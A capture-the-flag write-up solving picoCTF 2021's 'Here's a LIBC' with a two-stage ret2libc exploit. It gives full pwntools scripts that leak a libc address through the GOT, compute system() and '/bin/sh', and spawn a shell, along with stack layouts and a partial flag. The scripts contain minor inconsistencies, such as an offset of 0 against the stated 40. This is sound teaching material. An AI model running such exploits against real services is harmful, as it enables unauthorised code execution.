Here's a LIBC picoCTF 2021 Solution

Published: April 2, 2026

Description

I'll give you a LIBC, can you pwn it? Use the provided libc to build a ret2libc exploit and get a shell.

Download the binary and the provided libc file.

bash
wget https://mercury.picoctf.net/static/.../vuln
bash
wget https://mercury.picoctf.net/static/.../libc.so.6
bash
chmod +x vuln
bash
checksec vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
Background: Buffer Overflow Binary Exploitation covers the leak/return-to-main pattern, and ROP Chain Without libc handles the case when no libc is provided.
  1. Step 1
    Check mitigations and understand the vulnerability
    Observation
    I noticed the challenge supplies a specific libc.so.6 alongside the binary and explicitly calls for a ret2libc exploit, which suggested that ASLR is active and the provided libc is essential for computing exact symbol offsets at runtime.
    Run checksec on the binary. Confirm ASLR is active (it always is on modern systems), which means you need to leak a libc address before computing the real system() and /bin/sh addresses.
    bash
    checksec vuln
    bash
    file vuln
    bash
    ldd vuln
    python
    python3 -c "from pwn import *; e=ELF('./vuln'); print(e.plt); print(e.got)"

    Expected output

    vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
    What didn't work first

    Tried: Skip the libc recon step and attempt a ret2plt attack using only gadgets from the binary itself (treating it as a no-libc scenario).

    Without knowing the runtime libc base, computing system() and /bin/sh addresses is impossible. A ret2plt chain that calls puts() but never reads back the leak will just print garbage and exit - you must parse the leaked bytes to calculate libc_base before stage 2 can succeed.

    Tried: Use the system libc (/lib/x86_64-linux-gnu/libc.so.6) instead of the challenge-provided libc.so.6 when computing offsets.

    Symbol offsets differ between libc builds. If your local Ubuntu 20.04 puts() is at offset 0x875a0 but the challenge libc has it at 0x80e50, your libc_base calculation will be off by 0x6150 bytes and system() will point at garbage, causing a segfault. Always load the exact supplied libc.so.6 for offset lookups.

    Learn more

    When ASLR is active, libc loads at a random base address each run. The key insight is that the offsets between functions within libc are fixed - the distance from puts to system is always the same, regardless of where libc is loaded. Once you leak any libc address, you can compute all other addresses.

    Standard two-stage ret2libc exploit:

    1. Stage 1 (Leak): Use the PLT (Procedure Linkage Table) to call puts(got['puts']). This prints the resolved address of puts from the GOT, revealing libc's load address.
    2. Stage 2 (Shell): Compute system = libc_base + libc.sym['system'] and bin_sh = libc_base + next(libc.search(b'/bin/sh')). Call system('/bin/sh') to get a shell.
  2. Step 2
    Build the leak stage
    Observation
    I noticed the binary is dynamically linked and exposes puts in its PLT and GOT, which suggested calling puts(GOT['puts']) via a ROP chain to print the runtime libc address and then returning to main for a second payload stage.
    Construct a ROP chain that calls puts(GOT['puts']) to leak the runtime address of puts, then returns back to main for a second exploitation attempt.
    python
    python3 - <<'EOF'
    from pwn import *
    
    e = ELF('./vuln')
    libc = ELF('./libc.so.6')
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    pop_rdi = next(e.search(asm('pop rdi; ret')))
    offset = 0  # from cyclic analysis
    
    # Stage 1: Leak puts address
    payload  = b'A' * offset
    payload += p64(pop_rdi)
    payload += p64(e.got['puts'])
    payload += p64(e.plt['puts'])
    payload += p64(e.sym['main'])  # return to main for stage 2
    
    p.sendline(payload)
    p.recvuntil(b'
    ')  # skip any output before the leak
    leak = u64(p.recvline().strip().ljust(8, b''))
    log.success(f"puts @ {hex(leak)}")
    
    libc_base = leak - libc.sym['puts']
    log.success(f"libc base @ {hex(libc_base)}")
    assert libc_base & 0xfff == 0, "libc base must be page-aligned (ends in 000) - wrong libc or wrong leak"
    EOF
    What didn't work first

    Tried: Try to leak puts via puts(plt['puts']) instead of puts(got['puts']), passing the PLT stub address as the argument.

    The PLT stub is binary-internal and its address is fixed (not ASLR'd), so printing it tells you nothing about libc's load base. You need to pass got['puts'] - the GOT entry that the dynamic linker filled in with the real runtime address - as the argument so puts() prints the actual resolved libc pointer.

    Tried: After receiving the leak, parse it with p.recv(6) and u64(leak + b'\x00\x00') without stripping newlines first.

    recvline() leaves a newline byte (0x0a) at the end of the leak. If you ljust to 8 bytes without stripping first, the 0x0a becomes the 7th byte of the u64 and corrupts the address, making libc_base appear to be off by roughly 0x0a00000000. Call .strip() before ljust to remove the trailing newline.

    Learn more

    The GOT (Global Offset Table) stores the runtime addresses of external library functions after they are resolved by the dynamic linker. The PLT (Procedure Linkage Table) provides stubs that jump through the GOT, with lazy binding filling in the GOT entry on first call.

    Stage 1 stack at the moment vuln() returns (each cell is 8 bytes):

    rsp -> | pop rdi ; ret  |   <- ret of vuln() pops this
           | got['puts']    |   pop rdi ; ret -> rdi = &got['puts']
           | plt['puts']    |   ret jumps here, calls puts(arg = got['puts'])
           | sym['main']    |   puts() returns here -> back to main loop

    Worked example of the libc base math. Suppose puts in libc.so.6 is at static offset 0x80e50 (find with readelf -s libc.so.6 | grep ' puts$' or libc.sym['puts'] in pwntools). Suppose the leak prints 0x7f3a4567ee50. Then:

    leaked_puts = 0x7f3a4567ee50
    puts_offset = 0x000000080e50
    libc_base   = 0x7f3a4567ee50 - 0x80e50
                = 0x7f3a45600000   <- always page-aligned (lowest 12 bits = 0)

    The 0x000 tail confirms the math: shared libraries are always loaded at page boundaries, so a correct libc_base ends in three zero hex digits. Anything else means a wrong libc version or a wrong leak parse.

    Why returning to main works. main ends with the same gets() read loop that the first overflow exploited. After stage 1 prints the leak and returns to main, the program presents the prompt again, the script reads the leak from the stage-1 output, computes system and /bin/sh from libc_base, and sends a second crafted payload through the same vulnerability.

  3. Step 3
    Build the shell stage
    Observation
    I noticed the leaked puts address and the known static offset in the provided libc.so.6 gave us libc_base, which suggested computing system() and the '/bin/sh' string addresses from that base to craft the final system('/bin/sh') ROP chain.
    In the second stage (after returning to main), compute the real addresses of system() and '/bin/sh' using the libc base, then call system('/bin/sh').
    python
    # Continuing from the previous script:
    python3 - <<'EOF'
    from pwn import *
    
    # ... (previous leak stage) ...
    
    system = libc_base + libc.sym['system']
    bin_sh = libc_base + next(libc.search(b'/bin/sh'))
    ret_gadget = next(e.search(asm('ret')))  # stack alignment
    
    # Stage 2: call system('/bin/sh')
    payload  = b'A' * offset
    payload += p64(ret_gadget)   # stack alignment for system()
    payload += p64(pop_rdi)
    payload += p64(bin_sh)
    payload += p64(system)
    
    p.sendline(payload)
    p.interactive()
    EOF
    What didn't work first

    Tried: Omit the bare ret gadget for stack alignment and call system('/bin/sh') directly after pop rdi.

    glibc's system() contains a movaps xmm0, [rsp+0x50] instruction that requires rsp to be 16-byte aligned (end in 0x0). After the overflow and pop rdi the stack is at an 8-byte boundary (ends in 0x8). Calling system() without first burning that 8 bytes with a bare ret causes a SIGSEGV on the movaps instruction - the shell never spawns even though all addresses are correct.

    Tried: Search for '/bin/sh' in the binary itself with next(e.search(b'/bin/sh')) rather than in the provided libc.

    CTF binaries rarely embed the string '/bin/sh' themselves. If e.search() returns nothing (or wraps to address 0), the payload sends rdi=0x0 and system(NULL) either crashes or returns immediately. The '/bin/sh' string is always available inside libc at a known static offset - search libc, not the ELF binary.

    Learn more

    Stage 2 chain layout, with concrete addresses. Suppose libc_base = 0x7f3a45600000, libc.sym['system'] = 0x52290, and the first /bin/sh\0 string lives at libc.search offset 0x1b3e1a:

    system = 0x7f3a45600000 + 0x52290  = 0x7f3a45652290
    binsh  = 0x7f3a45600000 + 0x1b3e1a = 0x7f3a457b3e1a
    
    payload = b'A' * 40              # offset to saved RIP
            + p64(ret_gadget)        # 16-byte align rsp
            + p64(pop_rdi)
            + p64(0x7f3a457b3e1a)    # rdi = "/bin/sh"
            + p64(0x7f3a45652290)    # call system

    Why the bare ret for alignment. When vuln() executes ret the stack is at ...0x8 (saved RIP slot). The pop rdi; ret consumes 16 bytes total (one pop, one ret), keeping alignment. But glibc system() internally uses movaps xmm0, [rsp+...], which faults on a 16-byte misalignment. Inserting a single bare ret before the call burns 8 bytes and shifts rsp from ...0x8 to ...0x0, satisfying the alignment requirement.

    Local testing with the provided libc. patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln (or invoke ./ld-linux-x86-64.so.2 --library-path . ./vuln directly) makes the binary load the supplied libc, ensuring offsets you compute locally match those on the challenge server.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{1_<3_sm4sh_st4cking_...}

ret2libc with ASLR requires two stages: first leak a GOT entry to calculate libc base, then call system('/bin/sh') using computed real addresses - the provided libc ensures offset accuracy.

Key takeaway

ASLR randomizes where libc loads each run, but it does not change the relative distances between symbols inside the library. Leaking any resolved GOT entry reveals the runtime base, and every other libc address follows by adding the known static offset. This two-stage pattern (leak then shell) is the foundation of nearly all modern ret2libc exploits and applies equally to heap exploits that need to resolve malloc hooks or one-gadgets. Matching the exact libc version matters because offsets differ between builds, which is why challenges supply the libc file.

Related reading

Want more picoCTF 2021 writeups?

Tools used in this challenge

What to try next